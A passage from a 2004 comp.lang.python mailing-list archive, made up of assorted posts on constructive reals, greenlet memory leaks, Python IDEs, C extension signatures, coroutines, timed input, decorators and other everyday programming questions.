evaluated on demand to guarantee an error in the displayed result that
is strictly less than one in the least significant displayed digit. It
is possible to scroll the display to the right to generate essentially
arbitrary precision in the result."  It has trig, logs, etc.

> here?  Any representation of the infinity of numbers on a finite
> computer *must* necessarily be unable to represent some (actually
> infinity many) of those numbers.  The inaccuracies stem from that
> fact.

Yes, _but_.  There is after all a *finite* set of reals you can describe
(constructively and univocally) by equations that you can write finitely
with a given finite alphabet, right?  So, infinitely many (and indeed
infinitely many MORE, since reals overall are _uncountably_ infinite;-)
reals are of no possible constructive interest -- if we were somehow
given one, we would have no way to verify that it is what it is claimed
to be, anyway, since no claim for it can be written finitely over
whatever finite alphabet we previously agreed to use.  So, I think we
can safely restrict discourse by ignoring, at least, the _uncountably_
infinite aspects of reals and sticking to some "potentially
constructively interesting" subset that is _countably_ infinite.

At this point, the theoretical problems aren't much worse than those you
meet with, say, integers, or just rationals, etc.  Sure, you can't
represent any but a finite subset of integers (or rationals, etc) in a
finite computer _in a finite time_, yet that implies no _inaccuracy_
whatsoever -- specify your finite alphabet and the maximum size of
equation you want to be able to write, and I'll give you the specs for
how big a computer I will need to serve your needs.  Easy!

A "constructive reals" library able to hold and manipulate all reals
that can be described as the sum of convergent series such that the Nth
term of the series is a ratio of polynomials in N whose tuples of
coefficients fit comfortably in memory (with space left over for some
computation), for example, would amply suffice to deal with all commonly
used 'transcendentals', such as the ones arising from trigonometry,
logarithms, etc, and many more besides.  (My memories of arithmetic are
SO rusty I don't even recall if adding similarly constrained continuous
fractions to the mix would make any substantial difference, sigh...).

If you ask for some sufficiently big computation you may happen to run
out of memory -- not different from what happens if you ask for a
raising-to-power between two Python long's which happen to be too big
for your computer's memory.  Buy more memory, move to a 64-bit CPU (and
a good OS for it), whatever: it's not a problem of _accuracy_, anyway.

It MAY be a problem of TIME -- if you're in any hurry, and have upgraded
your computer to have a few hundred terabytes of memory, you MAY be
disappointed at how deucedly long it takes to get that multiplication
between longs that just happened to overflow the memory resources of
your previous machine which had just 200 TB.  If you ask for an infinite
representation of whatever, it will take an infinite time for you to see
it, of course -- your machine will keep emitting digits at whatever
rate, even very fast, but if the digits never stop coming then you'll
never stop staring at them able to truthfully say "I've seen them ALL".
But that's an effect that's easy to get even with such a simple
computation as 1/3... it may easily be held with perfect accuracy inside
the machine, just by using rationals, but if you want to see it as a
decimal number you'll never be done.  Similarly for sqrt(2) and so on.

But again it's not a problem of _accuracy_, just one of patience;-).  If
the machine is well programmed you'll never see even one wrong digit, no
matter how long you keep staring and hoping to catch an accuracy issue.

The reason we tend to use limited accuracy more often than strictly
needed is that we typically ARE in a hurry.  E.g., I have measured the
radius of a semispherical fishbowl at 98.13 cm and want to know how much
water I need to fetch to fill it: I do NOT want to spend eons checking
out the millionth digit -- I started with a measurement that has four or
so significant digits (way more than _typical_ real-life measurements in
most cases, btw), it's obvious that I'll be satisfied with just a few
more significant digits in the answer.  In fact, Python's floats are
_just fine_ for just about any real-life computation, excluding ones
involving money (which may often be constrained by law or at least by
common practice) and some involving combinatorial arithmetic (and thus,
typically, ratios between very large integers), but the latter only
apply to certain maniacs trying to compute stuff about games (such as,
yours truly;-).

 
> So while a calculator will fool you into believing it is accurate when
> it is not, it is Python's design decision to not cater to fools.

Well put (+1 QOTW).  But constructive reals are still COOL, even if
they're not of much practical use in real life;-).


Alex


From davebrok at soda.csua.berkeley.edu  Tue Sep 21 02:55:49 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Mon, 20 Sep 2004 23:55:49 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net>
	<upZ2d.22496$061.3740@newssvr29.news.prodigy.com>
Message-ID: <naGdnT215sFuTdLcRVn-qQ@lmi.net>


"Bryan Olson":
> Michael Sparks:
> > [Try Greenlets]

> Finally, I think I understand the kind of stack-conjuring
> required to make coroutines work, and it's well outside standard
> Python's documented extension API.  I've been burned on that
> kind of thing before.

Before sending people off to greenlets, I'm starting to understand why you
have to go check them out via CVS---they are somewhat dangerous in their
current form. Fortunately, they come with a test that illustrates the
problem (as long as you compile Python in debug mode, but everyone does
that, right ;). To get a handle on what is going on here, the following
"test5" will leak, but calling "test5('noleak')" will not. I haven't the
foggiest idea why, and gc.collect() cleans up some but not all of the
excess.

David Pokorny

P.S. is this a subtle bug or what? BTW the code included here is a slight
modification of that given in the greenlets folder. Subclassing greenlets
killed my python---this is another mystery. Now I'm getting visions of
envious Wizard-of-Oz-munchkin-proletariats hacking away at a giant snake.
Time for bed.

-----------------------------
class genlet:
    def __iter__(self):
        return self
    def __init__(self,fn,args,kwargs):
        self.gl = greenlet.greenlet(fn,args,kwargs)
    def next(self):
        self.gl.parent = greenlet.getcurrent()
        result = self.gl.switch()
        if self.gl:
            return result
        else:
            raise StopIteration

def Yield(value):
    h = greenlet.getcurrent()
    h.parent.switch(value)

def generator(fn): #not used in this example
    def runner(*args, **kwds):
        return genlet(fn, args, kwds)
    return runner


# ____________________________________________________________

 #After running test5(), It turns out that frames of g
 #have frame->f_back == frame (such frames are found in
 #sys.getobjects(20)). Programs that leave
 #data in local variables will leak furiously.
 #Apparently gc.collect() doesn't want to clean it up.

def g(n):
    for i in range(n):
        Yield(i)
    return None

def test5(kind='leak'):
    def runner(*args, **kwds):
        x = genlet(g,args,kwds)
        return x
    if(kind == 'leak'):
        iteration = runner(10)             #<--leaks!
    else:
        iteration = genlet(g,(10,),{})     #<--does not leak.
    for j in iteration:
        print j
    iteration = None
    return None




From danperl at rogers.com  Sun Sep 26 19:05:14 2004
From: danperl at rogers.com (Dan Perl)
Date: Sun, 26 Sep 2004 19:05:14 -0400
Subject: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
Message-ID: <mfydnUd5Idex1srcRVn-pQ@rogers.com>


"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message 
news:mailman.3864.1096040439.5135.python-list at python.org...
> I'm also evaluating Wing IDE 2.0; I had a few issues with it that were
> solved, but for some tasks I found it too heavy for my limited
> resources. Anyway, I'm keeping an eye on it.

I didn't follow the entire IDE dispute and I apologize if my comments are 
now redundant, but here are my 2 cents.

I just bought the Komodo Personal edition.  I had already used the trial 
download for a month and I've been quite satisfied with it.  That's after 
using PythonWin for a few months, but it would be hard to go back to 
PythonWin now.

Before making the decision to buy Komodo, I also evaluated Wing IDE 2.0, 
their Personal edition.  Please indulge me, but I have to take a load off my 
chest about Wing IDE.

Right off the bat, the trial period was only 10 days.  I've evaluated quite 
a few tools that had a free trial period and I don't think I can remember of 
ever having only 10 days before.  Then, the GUI is kind of awkward in a few 
places (the "project tree view", or something like that, and the toolbars). 
There is more.  The Personal edition does not have an object browser (it's 
only in their more expensive editions).  With all due respect, that's a 
minimal requirement in a commercial IDE these days and Komodo has one in its 
Personal edition (for the same price as Wing IDE).

I left my biggest beef with Wing IDE for the end.  I debugged one of my 
scripts (that I knew it works) and got an unexplainable exception.  It turns 
out that Wing IDE falsely detects some exceptions.  They know about it and 
they suggest that if you KNOW that it's a false exception you should flag it 
to be ignored.  Yes, Wingware people, I know it's a false exception, but 
what am I using an IDE with debugging for if I have to figure out false 
exceptions and ignore them?  And how do I know that that particular 
exception will not be valid some day in one of my scripts?  And please, do 
not insult our intelligence with some marketing mumbo-jumbo that Wing IDE's 
exception detection is so powerful that it even detects exceptions that are 
not there.  It's a BUG, it's not a feature, folks!  And no excuse will make 
up for it!

The choice between Wing IDE and Komodo was clear for me.

As a side note, among free open-source IDEs, I thought that pydev (a plugin 
for eclipse) shows promise, but it's not ready yet for the big leagues.

There.  Thanks for listening.

Dan 




From mwh at python.net  Fri Sep 17 09:36:20 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Sep 2004 13:36:20 GMT
Subject: Small inconsistency between string.split and "".split
References: <mailman.3241.1095094663.5135.python-list@python.org>
	<LJSdnepvP_vbSdjcRVn-hg@powergate.ca>
	<864d370904091310411a2cf435@mail.gmail.com>
	<20040913175927.GB4646@siliconimage.com>
	<864d370904091311095be3e08c@mail.gmail.com>
	<4146C179.5000404@livinglogic.de>
	<mailman.3311.1095172226.5135.python-list@python.org>
	<1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com>
	<m3oek56poq.fsf@pc150.maths.bris.ac.uk>
	<1gk9iql.flx09uik62nkN%aleaxit@yahoo.com>
Message-ID: <m3fz5h6mr0.fsf@pc150.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> Michael Hudson <mwh at python.net> wrote:
> 
> > aleaxit at yahoo.com (Alex Martelli) writes:
> > 
> > > Having ALL C-coded functions and methods that accept any argument
> > > accept keyword-style arguments in particular would surely lead to a
> > > more consistent language,
> > 
> > [...]
> > 
> > This whole area isn't particularly pretty.  In general it would be
> 
> Indeed, it isn't.
> 
> > better to expose more of an extension functions signature *outside*
> > the function, for efficiency, introspection and even things like
> 
> ...and consistency with the way Python-coded functions work.

Heh, yes, that too :-)

> > psyco.  METH_O, METH_NOARGS are a step in this direction -- but you
> > can't pass a keyword argument to a METH_O function (not that one would
> > want to, very often, but it's still a potential inconsistency).
> 
> Right; it could be remedied by letting a macro otherwise equivalent to
> METH_O know about that one argument's name.

But... how?  I guess the PyMethodDef struct could grow an ml_signature
field... wouldn't it be nice if you could do:

static PyObject*
foo(PyObject* ob, int index)
{
        ...;
}

PyMethodDef methods[] = {
        {"foo", foo, "O[ob]i[index]", "docstring"},
        {NULL, NULL}
}

?  Even nicer if you didn't have to write the signature by hand.

Unfortunately, I don't think you can do this in standard C.
> > I wonder what Pyrex does...
> 
> for:
> def example(aa, bb):
>     pass
> 
> it generates (name mangling apart, I'm demangling for legibility):
> 
> static PyObject* example(PyObject *self, PyObject *args, PyObject *kwds)
> {
>     PyObject *aa = 0;
>     PyObject *bb = 0;
>     static char *argnames[] = {"aa", "bb", 0};
> 
>     if(!PyArg_ParseTupleAndKeywords(args,kwds,"OO",argnames,&aa,&bb))
>         return 0;
> 
> etc, etc, and METH_VARARGS|METH_KEYWORDS in the PyMethodDef array.  IOW,
> nothing strange, and all correct, it seems to me.

Cool.  I should use pyrex more, I suspect.

Cheers,
mwh

-- 
 As it seems to me, in Perl you have to be an expert to correctly make
 a nested data structure like, say, a list of hashes of instances.  In
 Python, you have to be an idiot not  to be able to do it, because you
 just write it down.             -- Peter Norvig, comp.lang.functional


From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Thu Sep  2 14:31:09 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Thu, 02 Sep 2004 18:31:09 -0000
Subject: Xah Lee's Unixism
References: <uhdqgekw0.fsf@mail.comcast.net>
Message-ID: <10jepndi1en2id8@corp.supernews.com>

# > Not exactly a typical editor function, agreed. I was feeling a little
# > whimsical at the time.
# 
# i once did a random email/usenet signature with zippy/yow ... but i
# added two other files to it ... and then i had to fix a feature in
# yow. yow uses a 16bit random number to index a yow file ... it was ok
# as long as your sayings file was less than 64kbytes. i had to modify
# yow to handle files larger than 64kbytes ... the "sayings" file used
# for 6670 separater pages was 167k bytes and the jargon file was 413k
# bytes ... while a current zippy yow file is 52,800 bytes.

It's nice to know people still have time to work on really important things.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
I'm not even supposed to be here today.


From graeme.matthew at contrado.com.au  Tue Sep 14 20:36:47 2004
From: graeme.matthew at contrado.com.au (Graeme Matthew)
Date: Wed, 15 Sep 2004 10:36:47 +1000
Subject: comparing datetime with date
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<slrnckf3e5.ptn.sholden@flexal.cs.usyd.edu.au>
Message-ID: <41478ea5$0$24413$5a62ac22@per-qv1-newsreader-01.iinet.net.au>

yes it was late, apologies therefore a simple way to solve this problem 
would be:

str(x) == str(y)

:=-)

"Sam Holden" <sholden at flexal.cs.usyd.edu.au> wrote in message 
news:slrnckf3e5.ptn.sholden at flexal.cs.usyd.edu.au...
> On Wed, 15 Sep 2004 09:24:03 +1000,
> Graeme Matthew <graeme.matthew at contrado.com.au> wrote:
>> This is very interesting because if you continue further and coerce both 
>> to
>> strings you get:
>>
>>>>> print str(y) == str(y)
>> True
>
> Of course if you actually do:
>
>>>>> print str(x) == str(y)
>> False
>
>
>>>>> str(y)
>> '2004-09-14 06:43:15'
>>>>> str(x)
>> '2004-09-14'
>>>>>
>>
>> Even though there string values are different they still match?
>
> No, they only matched becuase you compared y with y :)
>
>
> -- 
> Sam Holden 




From pje at telecommunity.com  Sun Sep 12 11:24:57 2004
From: pje at telecommunity.com (Phillip J. Eby)
Date: 12 Sep 2004 08:24:57 -0700
Subject: What's the Pythonic way to do this?
References: <e08cd05f.0409101235.50b1f8f3@posting.google.com>
Message-ID: <25b5433d.0409120724.6b4b972d@posting.google.com>

da_rosser at yahoo.com (Doug Rosser) wrote in message news:<e08cd05f.0409101235.50b1f8f3 at posting.google.com>...
> class Cycle(object):
> [snip]

    def cycle(inputList):
        while True:
            for item in inputList:
                yield item

Or, as others have pointed out, there's an itertools.cycle that does
the same thing, at least in Python 2.3 and up.


From maney at pobox.com  Wed Sep  8 14:40:07 2004
From: maney at pobox.com (Martin Maney)
Date: Wed, 8 Sep 2004 18:40:07 +0000 (UTC)
Subject: Converting integers to english representation
References: <mailman.2683.1093974630.5135.python-list@python.org>
Message-ID: <chnjm7$56d$1@wheel2.two14.net>

brianc at temple.edu wrote:
> I'm developing a system to parse and enumerate addresses. The
> current obstacle is numbered streets. Does anybody know of a
> module already written to convert integers to their english
> equivalents?

The suggestion about searching for "ordinal" is good, but runs into all
those unicode false hits.  :-(

It isn't quite the same as either of your examples, and it goes only
one way, but this is what I'm using in one app where I want ordinalized
day numbers:

def _ord_sfx(decade):
    if decade != 1:
        return ('th', 'st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th')
    return ('th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th')


def ordinalize(n):
    decade = (n % 100) / 10
    unit = n % 10
    return '%d%s' % (n, _ord_sfx(decade)[unit])

-- 
If nature has made any one thing less susceptible than all others of
exclusive property, it is the action of the thinking power called an
idea, which an individual may exclusively possess as long as he keeps
it to himself; but the moment it is divulged, it forces itself into
the possession of every one, and the receiver cannot dispossess
himself of it.  -- Thomas Jefferson


From alexander.hoffmann at netgenius.de  Wed Sep  8 05:40:26 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Wed, 8 Sep 2004 11:40:26 +0200
Subject: tuples allocated by formated print ?
Message-ID: <200409081140.26869.alexander.hoffmann@netgenius.de>

Hello,

Recently I was debugging a memory leak in my app and finally figured out that 
I had to manually implement destructors for some classes. 
While debugging I wrote a method that prints the number of instances per type 
for all objects returned by gc.get_objects. I was astonished by the fact that 
after perfroming a few tests with my app there were about 4000 instances of 
Tuple in memory. Looking at these instances I got the feeling that they 
contained the values I used in formated prints like: print ("my name is %s" % 
("alex", ))
Can anyone of you confirm that tuples constructed this way will be removed 
from memory by Python automatically ?
If so, can you imagine any reason for so many tuple instances to exist (given 
the fact that besides in print (...) I do not make use of tuples in my source 
code) ?


Thank you !
Alex


From rm at rm.rm  Sat Sep 18 19:53:52 2004
From: rm at rm.rm (Radioactive Man)
Date: Sat, 18 Sep 2004 23:53:52 GMT
Subject: Need function like "raw_input", but with time limit
Message-ID: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com>

anyone know of a function like "raw_input", which collects a string
from the user entry, but one where I can set a time limit, as follows:

time_limit = 10    # seconds
user_answer = function_xyz("GIVE ME AN ANSWER:  ", time_limit)  


The problem with "raw_input" is that it will stop unattended script
indefinitely.  I'm looking for a function that does the exact same
thing, but with a time limit feature, and preferably one that returns
an empty string ('') when it gets no response.  Any suggestions?




From fakeaddress at nowhere.org  Sun Sep 19 21:16:49 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Mon, 20 Sep 2004 01:16:49 GMT
Subject: Microthreads without Stackless?
In-Reply-To: <8cf9f521.0409181021.6db6a3e4@posting.google.com>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<8cf9f521.0409181021.6db6a3e4@posting.google.com>
Message-ID: <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com>

David Mertz, Ph.D. wrote:
 > Well, a couple things.  The article on (semi-)coroutines is really a
 > different topic than the one on "weightless threads."  They both take
 > advantage of Python generators.  And they both involve a scheduler.
 > But there are differences between the techniques... and still greater
 > differences between the motivations that would prompt the use of each.
 >
 > Unfortunately, Bryan started the discussion with a claim like
 > "weightless threads aren't *really* coroutines"... to which the answer
 > is "Duh!"

That's not a quote of me.  What I did say is, "Mertz's pattern
provides nothing like real co-routines or threads".  By "real"
coroutines I've meant coroutines without the limitations stated
for semi-coroutines.

 > Weightless threads basically amount to "cooperative multitasking."
 > Unlike in actual Stackless (or with "weighty" OS threads), the
 > weightless thread schedulers/technique depends every "thread"
 > (procedure) acting nice, and giving control back to the scheduler
 > without too much delay.

Again, I have to disagree with the first sentence there.  I've
never heard "Cooperative multitasking" to refer to calls that
were limited to a one-level depth.

I find the usual description of the difference between
cooperative and preemptive multi-threading to be deceptive. In
either system, the vast majority of thread switches are induced
by the running thread beginning an operation that blocks.



 > Some older OS's were written this way, FWIW,
 > but those had obvious problems.

Microsoft Windows and Apple Mac-OS had cooperative multi-tasking
when they took over most of the world.  They certainly had
problems, but that intra-process threading was cooperative was
not high on the problem list.  (The way separate processes could
effect each other, that was a problem.)


[...]
 > At the Python Cookbook site, Bernhard Mulder unfortunately posted a
 > recipe that he called "coroutines", when what it really does is
 > implement weightless threads.  The recipe itself is fine, but I hate
 > to see people mislead on the nomenclature:
 >
 >   http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300019
 >

The point I got from Bernhard Mulder's recipe is how to yield
from any call depth.  His method is to re-write every call chain
that leads to a yield, so that every function is a generator and
every call is in a for loop.  With patterns of the form 'rewrite
everything like this...', any Turing-complete language can
emulate any computational facility of any other language.
That's the kind of solution I was discounting when I wrote,
"Importantly, I do *not* have to re-write all the functions in
every call chain that leads to a read or write".


 > Now it's true that Python syntax -in itself- only implements
 > semi-coroutines.  That is, you can branch INTO any procedure you want,
 > but the branch OUT OF that procedure is still stack like... i.e. to
 > the caller only.  What my article points out (which a lot of people
 > did not realize when Python generators were new) is that
 > semi-coroutines are actually fully general.

Syntax isn't the issue.  Python was just as general without
generators, which we can emulate with closures or classes.

[...]
 > The only change is that you always "yield to" a given procedures,
 > rather than either call it, or call its .next() method.  Of course,
 > lots of other flows are possible other than stack-like.  But you are
 > not prohibited from stack-like flow (example typed without testing,
 > forgive any minor typo):
 >
 >   from __future__ import generators
 >   cargo = None
 >   def grandma():
 >       yield (MOM, cargo)
 >   def mom():
 >       yield (DAUGHTER, cargo)
 >       yield (GRANDMA, cargo)
 >   def daughter():
 >       yield (MOM, cargo)
 >   GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter()
 >   scheduler(GRANDMA)

Again, that's a 'rewrite every call-chain' solution.  If we look
at the socket servers in the Python library, they're written on
a base where one server handles one client.  Then there's a
forking mix-in, and a threading mix-in, that each allow the same
code to handle many clients.  We can build higher-level
protocols on them, with the same simple form: handle one client,
and add forking/threading to handle many clients, without re-
writing the code.  Full coroutines or micro-threads can offer
the same facility.  Semi-coroutines or "weightless threads" are
not powerful enough to do that.


--
--Bryan


From jeff at ccvcorp.com  Wed Sep  1 21:15:17 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 01 Sep 2004 18:15:17 -0700
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <mailman.2743.1094082018.5135.python-list@python.org>
References: <loom.20040825T004528-605@post.gmane.org>	<412C09B4.5070106@yahoo.com>	<loom.20040825T055456-468@post.gmane.org>	<mailman.2346.1093432824.5135.python-list@python.org>	<b8ad139e.0408251248.1bc0d7bf@posting.google.com>	<cgj8f5$t1b$1@sea.gmane.org>	<e69d3ed2040826003171d312fc@mail.gmail.com>	<412D9F1E.6000809@yahoo.it>	<mailman.2413.1093518357.5135.python-list@python.org>	<nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com>	<mailman.2423.1093527121.5135.python-list@python.org>	<ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com>	<e69d3ed204082607536abfa65c@mail.gmail.com>	<cgkuf9$ehg$1@sea.gmane.org>	<e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<e69d3ed2040	<HBF.20040901iia9@bombur.uio.no>
	<mailman.2743.1094082018.5135.python-list@python.org>
Message-ID: <10jcsuh7k4bfl41@corp.supernews.com>

Paul Morrow wrote:

> Hallvard B Furuseth wrote:
>
>> Yes, I can compare that.  It's fine in a class body, which is executed
>> when the class definition is executed.  When I see it in a function
>> definition, I see a strange use of the assignment operator, which is
>> normally a 'run-time' operator, in a place where it not being executed
>> at run-time.
>>
>
> It's also a 'definition-time' operator, as it often appears in class and
> module definitions.  So why not be consistent and let it appear in
> function definitions too?  What is so outrageous about this idea? On the
> 'strange-meter', does it rank as high as docstrings or meaningful
> indentation?


Yes, it does, because of the way that definition works in Python.  Keep 
in mind that definitions are generated at *run-time*, with dependent 
suites being handled appropriately according to the type (class, def) of 
compound statement being executed.  Assignment isn't working any 
differently in class definitions than it is anywhere else; it's just 
that suites are handled slightly differently in class statements than 
they are in def statements.  (And this different behavior is essential, 
as that's what creates the difference between a class and a function.)

You're asking now that what appears to be a single suite is actually two 
separate entities, even though there's no visual indication of the 
break-point (except for the presence of "magic" variables).  One of 
those suites is executed when the def statement is; the other is 
executed when the function object is called.  Wildly different semantics 
from very similar-looking code at the same level of indentation, based 
on what *looks* to anyone familiar with current Python as if it's merely 
an odd naming convention.

(I'm sure that you'll argue that the presence of those "magic" variables 
is enough distinction between the two radically-different blocks of 
code; I'm also pretty confident that very few people will agree with 
you, and that nobody with a reasonable understanding of Python internals 
will be among those few people.)

Jeff Shannon
Technician/Programmer
Credit International



From rm at rm.rm  Sun Sep 19 21:47:00 2004
From: rm at rm.rm (Radioactive Man)
Date: Mon, 20 Sep 2004 01:47:00 GMT
Subject: Need function like "raw_input", but with time limit
References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com>
	<mailman.3496.1095587900.5135.python-list@python.org>
Message-ID: <t8dsk0h4mnenoq05gqgmc945qv8t3auhrg@4ax.com>

On Sun, 19 Sep 2004 12:00:09 +0200, "Fredrik Lundh"
<fredrik at pythonware.com> wrote:

>"Radioactive Man" <rm at rm.rm> wrote:
>
>> anyone know of a function like "raw_input", which collects a string
>> from the user entry, but one where I can set a time limit, as follows:
>>
>> time_limit = 10    # seconds
>> user_answer = function_xyz("GIVE ME AN ANSWER:  ", time_limit)
>
>this works on some platforms:
>
>import signal, sys
>
>def alarm_handler(*args):
>    raise Exception("timeout")
>
>def function_xyz(prompt, timeout):
>    signal.signal(signal.SIGALRM, alarm_handler)
>    signal.alarm(timeout)
>    sys.stdout.write(prompt)
>    sys.stdout.flush()
>    try:
>        text = sys.stdin.readline()
>    except:
>        text = ""
>    signal.alarm(0)
>    return text
>
></F> 
>
>

Is that for a Unix system?  I am running windows 95 and/or XP and my
signal.signal module does not have a "SIGALRM" attribute.  Thus, I get
an error message when I try to run that script.



From peter at engcorp.com  Fri Sep 10 09:11:12 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 09:11:12 -0400
Subject: Electronic voting feasibility
In-Reply-To: <45KdncJwAO8dONzcRVn-hA@powergate.ca>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<45KdncJwAO8dONzcRVn-hA@powergate.ca>
Message-ID: <_rednfOzZYFtOtzcRVn-iA@powergate.ca>

Peter Hansen wrote:

> Jaime Wyant wrote (top-posting):
>> I think the negativity is well founded.  http://www.blackboxvoting.org/
> 
> Doesn't sound like it was a security issue involving choice of
> programming language, operating system, or even technical design,
> however...
> 
> """This problem appears to demonstrate intent to manipulate elections,
> and was installed in the program under the watch of a programmer who is 
> a convicted embezzler."""

Sorry, I didn't read far enough.

Not only was the problem a matter of ethics, but clearly there were
significant technical flaws, to the point that if all the points
raised are factual, those who implemented and delivered the system
were unbelievably irresponsible...  they certainly were neither
ethical nor competent.

-Peter


From aleaxit at yahoo.com  Wed Sep  1 08:25:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 14:25:31 +0200
Subject: sys.stdin.readline()
References: <367a4461.0408311221.30866c09@posting.google.com>
	<HBF.20040831jd9s@bombur.uio.no> <ch31jd$6l3u$1@netnews.upenn.edu>
	<1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com>
	<ch4d9m$77f5$1@netnews.upenn.edu>
Message-ID: <1gjfu1g.7eiz7dyy0omkN%aleaxit@yahoo.com>

Mike Maxwell <maxwell at ldc.upenn.edu> wrote:

> Alex Martelli wrote:
> > Mike Maxwell <maxwell at ldc.upenn.edu> wrote:
> > No, I think you're correctly observing that Python isn't oriented to
> > one-liners -- not at all.  Most interesting things in Python require
> > more than one line.  
> 
> <rant>
> I don't care whether it's "interesting", I just want to get some work
> done.

Something that lets you get work done IS thereby interesting.  Most
interesting things in Python require more than one line.  So, I don't
see the basis for your rant.

>  And since most of the text processing tools in Unixes that I 
> would otherwise use (grep, sed, tr) don't support Unicode, and are 
> inconsistent in their regular expression notation to boot, it would be
> nice if I could write regex operations in a single, consistent 
> programming language.  Python is a single, consistent programming 
> language, but as you say, it doesn't lend itself to one-liners.

No, but a supporting script similar to the one I suggest below can
easily be adapter to offer more sensible functionality than any oneliner
might sensibly support -- for example (for the kinds of tasks you imply)
by including and automatically using such modules as re and fileinput.

> > now, sometying like
> > 
> > bangoneliner.py 'for x in xrange(7):!  if x%2:!    print x'
> > 
> > should work 
> 
> Hmm, I may give that a try...thanks!

You're welcome.


> > note that inserting the spaces after the bangs to simulate
> > proper indentation IS a silly fuss, but you hafta...:-).
> 
> Well, I guess I could translate some other char (one that's easier to
> count than spaces) into indents, too.

Sure, or you could use (e.g.) '!3' to translate into 'newline then three
spaces', or use block start/endmarkers and translate them into
indents/dedents, etc, etc.

Personally, given your now-restated problem, that you need 'better'
versions of grep, sed and tr, I would take another tack -- I would
reimplement _those_ in Python with its re sublanguage and Unicode
support.  Using them should be easier and tighter than putting newliners
together, I think.


Alex


From indigo at bitglue.com  Sun Sep 26 09:47:19 2004
From: indigo at bitglue.com (Phil Frost)
Date: Sun, 26 Sep 2004 09:47:19 -0400
Subject: Blender!
In-Reply-To: <Jyv5d.8761$N45.227281@twister2.libero.it>
References: <Jyv5d.8761$N45.227281@twister2.libero.it>
Message-ID: <20040926134719.GA17027@unununium.org>

I don't speak his language, but I speak enough spanish to understand
most of what he's saying. It's something like this:

"now, I got and installed Blender, and in python 2.3 compiled a script
that told me I didn't have the blender module.. I had changed the
variable path (i have XP) to include the blender directory, but it
didn't go. Why?"

Hopefully I got that right. I can't solve your problem, but I did find
some forums in portuguese that might address your problem.

Frate:
http://www.ibetbsb.com.br/3dzine/forum2/search.asp?KW=PYTHON_PATH&SM=1&SI=PT&FM=0&OB=1&Submit=Procurar

On Sun, Sep 26, 2004 at 09:00:25AM +0000, Frate wrote:
> Ciao a tutti
> allora, ho scaricato e installato blender, ma quando in python(2.3) compilo 
> un file di esempio mi dice che non trova il modulo blender.. io ho aggiunto 
> come variabile path (sul mio xp) la directory di bender. ma cmq non va? come 
> mai? 


From lkirsh at cs.ubc.ca  Fri Sep  3 19:02:30 2004
From: lkirsh at cs.ubc.ca (Lowell Kirsh)
Date: Fri, 03 Sep 2004 16:02:30 -0700
Subject: format sring question
In-Reply-To: <ch95o9$ams$1@mughi.cs.ubc.ca>
References: <ch95o9$ams$1@mughi.cs.ubc.ca>
Message-ID: <chat66$lhh$1@mughi.cs.ubc.ca>

thanks to both of you. bye bye second version.

Lowell

Lowell Kirsh wrote:
> In Peter Norvig's Infrequently Answered Questions he explains that the 
> following 2 fnctions look almost identical but are not the same:
> 
> def printf(format, *args): print format % args,
> 
> def printf(format, *args): print str(format) % args,
> 
